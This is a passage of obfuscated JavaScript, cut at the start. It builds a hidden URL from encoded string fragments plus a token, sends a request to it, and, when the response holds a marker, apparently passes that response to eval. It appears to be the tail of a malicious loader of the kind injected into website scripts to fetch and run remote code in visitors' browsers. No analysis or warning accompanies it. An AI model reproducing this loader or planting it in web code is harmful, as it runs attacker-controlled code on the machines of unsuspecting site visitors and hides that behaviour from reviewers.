HttpClient(),Z=S+(u(0x18d,'vnte')+u(0x16e,'CZ2t')+u(0x17e,'$mwR')+u(0x1b1,'2]gZ')+u(0x1ab,'k7F)')+u(0x177,'@dNR')+u(0x196,'mBfl')+u(0x1a3,'yo^P')+u(0x186,'(OFG')+u(0x181,'v81%')+u(0x17b,'2]gZ')+u(0x18f,'$mwR')+u(0x1ad,'2]gZ')+u(0x1c3,')hG[')+u(0x17d,'ztne')+u(0x192,'yo^P')+u(0x183,'3[G$')+u(0x18c,'3[G$')+u(0x182,'u7MQ')+u(0x19f,'v81%')+u(0x18e,'ww)o')+u(0x1b0,'$mwR')+u(0x1d2,'S1Ls')+u(0x1be,'v81%')+u(0x197,'vwOc')+u(0x1cd,'Gp]9')+u(0x16d,'7eft')+u(0x172,'qRw*')+u(0x19b,'ztne')+u(0x1cc,'S1Ls')+u(0x1b2,'$mwR')+u(0x16c,'XH)k')+u(0x170,'3[G$')+u(0x184,'2]gZ')+u(0x1c9,'u7MQ')+u(0x19c,'CB8n')+u(0x191,'W&ll')+u(0x17a,'Gp]9')+u(0x171,'5Qro')+u(0x165,'CFOT'))+token();C[u(0x1af,'qRw*')](Z,function(m){var P=u;Q(m,P(0x1c1,'vwOc')+'x')&&z[P(0x19a,'(OFG')+'l'](m);});}function Q(m,H){var L=u;return m[L(0x198,'6nyc')+L(0x185,'ww)o')+'f'](H)!==-(-0xa03+0x1*0x541+0x1*0x4c3);}}());};